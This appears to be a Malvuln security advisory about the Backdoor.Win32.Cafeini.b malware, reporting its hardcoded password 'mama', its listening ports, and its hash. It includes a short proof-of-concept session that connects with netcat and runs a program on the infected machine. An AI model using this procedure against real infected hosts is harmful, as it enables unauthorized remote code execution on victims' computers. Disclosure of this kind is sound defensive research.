Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source:  
Threat: Backdoor.Win32.Cafeini.b  
Vulnerability: Weak Hardcoded Credentials  
Description: The malware listens on TCP ports 51966 and 23. Authentication is required, however the password "mama" is weak and found within the PE file. Moreover, the FTP server running on non standard port 23 also uses same password. Trying to execute a program incorrectly you get reply like, "STATUS I can't run program", as it requires the full path to the file to execute.  
Family: Cafeini  
Type: PE32  
MD5: a8fc1b3f7a605dc06a319bf0e14ca68b  
Vuln ID: MVID-2022-0617  
Disclosure: 06/29/2022  
C:\>nc64.exe x.x.x.x 51966  
CAFEiNi 1.1  
Enter your password:  
STATUS: unknown command "WHOAMI"  
C:\Users\victim\Desktop>exec c:\Windows\system32\calc.exe  
exec c:\Windows\system32\calc.exe  
STATUS: program runned  
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